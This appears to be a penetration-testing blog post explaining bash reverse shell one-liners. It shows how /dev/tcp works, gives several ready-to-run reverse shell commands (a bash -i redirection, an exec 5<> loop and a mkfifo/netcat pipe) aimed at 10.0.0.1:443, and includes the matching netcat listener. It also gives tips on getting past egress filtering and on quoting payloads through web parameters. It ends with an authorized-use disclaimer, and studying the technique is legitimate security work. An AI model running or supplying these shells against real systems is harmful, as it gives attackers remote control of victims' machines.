Bash Reverse Shell One-Liners: How /dev/tcp Actually Works
The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.
The classic bash reverse shell is one line, and almost everyone who uses it cannot explain why it works:
bash -i >& /dev/tcp/10.0.0.1/443 0>&1
It is worth understanding, because the day it fails — and it will — you need to know which piece broke. This post breaks down the common bash one-liners, explains the /dev/tcp trick, and shows what to do when it is not available.
/dev/tcp Is a Bash Feature, Not a File
There is no real /dev/tcp device on Linux. It is a virtual path that bash itself intercepts: opening /dev/tcp/HOST/PORT makes bash create a TCP connection to that host and port. Redirecting to it sends data over the socket.
That single fact explains the most common failure: the payload runs under /bin/sh, which on most systems is dash, not bash. dash has no /dev/tcp, so the line fails with no useful error. If a bash one-liner does nothing, the first question is always which shell am I actually in?
The One-Liner, Decoded
bash -i >& /dev/tcp/10.0.0.1/443 0>&1
bash -istarts an interactive bash. Interactive mode gives you a prompt and job control.>& /dev/tcp/10.0.0.1/443redirects both stdout and stderr to the TCP socket — so command output travels back to your listener.0>&1redirects stdin (0) to the same place as stdout (1), i.e. the socket. Now bash reads your keystrokes from the connection too.
Put together: an interactive shell whose input and output are both the network socket. On the other end you run:
nc -lvnp 443
and you are typing into the target's bash.
Common Variants and When to Use Them
When the elegant version does not fit (no /dev/tcp, a restricted shell, an awkward injection point), these are the usual fallbacks.
Explicit redirection, same idea:
exec 5<>/dev/tcp/10.0.0.1/443; cat <&5 | while read line; do $line 2>&5 >&5; done
No /dev/tcp? Use netcat (mkfifo for builds without -e):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.0.0.1 443 > /tmp/f
The mkfifo version exists because many modern nc builds drop the -e flag (which would let you run nc -e /bin/sh). The named pipe reconnects stdin and stdout manually to get the same effect.
Why Yours Isn't Connecting
In order of how often it bites:
- You are in
sh, notbash. Prefix withbash -c '...'to force it. - Egress is filtered. Try
443or80instead of an odd high port; outbound web ports are almost always open. - Quoting got mangled on the way in. If the payload travelled through a web parameter or JSON, the redirections (
>&,0>&1) are quote-sensitive — see payload quoting. - Listener mismatch. You are listening with the wrong tool or port. See choosing a listener.
For the full triage checklist, read why reverse shells fail.
Generate It Correctly the First Time
Retyping /dev/tcp/HOST/PORT and the redirection operators by hand is exactly where typos creep in. The reverse shell generator emits the bash variant you want — /dev/tcp, the exec 5<> form, or the mkfifo netcat fallback — already filled with your LHOST/LPORT, with the matching listener next to it.
Authorized Use Only
Generate and run these payloads only against systems you own or have explicit written permission to test. The technique is identical regardless of intent; authorization is what separates a penetration test from an intrusion.